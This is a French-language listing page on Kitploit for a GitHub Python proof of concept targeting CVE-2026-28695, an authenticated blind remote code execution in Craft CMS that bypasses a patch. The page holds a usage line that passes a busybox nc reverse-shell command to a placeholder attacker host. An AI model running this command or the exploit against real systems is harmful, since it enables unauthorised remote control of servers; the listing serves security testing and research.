Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-28695 — PoC d'exploitation en Python pour CVE-2026-28695, une RCE aveugle authentifiée dans Craft CMS qui contourne le correctif create() de BaseObject et lance un reverse shell. | Kitploit
Outils/GitHubGitHub/predyy/cve-2026-28695
Analyse des VulnérabilitésExploitationExploitation d'Applications WebPost-ExploitationSécurité WebTests d'IntrusionRed TeamingOutil d'Accès à Distance
GitHubpredyy/cve-2026-28695

CVE-2026-28695

PoC d'exploitation en Python pour CVE-2026-28695, une RCE aveugle authentifiée dans Craft CMS qui contourne le correctif create() de BaseObject et lance un reverse shell.

13il y a 4 joursPas encore vérifié
Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Contournement du correctif CVE-2026-28695 - RCE aveugle dans Craft CMS

Exécution de code à distance aveugle et authentifiée dans Craft CMS. Contourne la restriction create() - BaseObject ajoutée dans le correctif CVE-2026-28695 (commit e31e508).

Utilisation

python3 exp.py -t http://target.htb -u user -p 'password' -c 'busybox nc ATTACKER_IP ATTACKER_PORT -e /bin/sh'

Avertissement

Ce script est destiné à des fins éducatives uniquement. L'auteur n'est pas responsable de toute mauvaise utilisation ou de tout dommage causé par cet exploit. Assurez-vous toujours d'avoir l'autorisation avant de tester ou d'exploiter des vulnérabilités !

Télécharger l’outil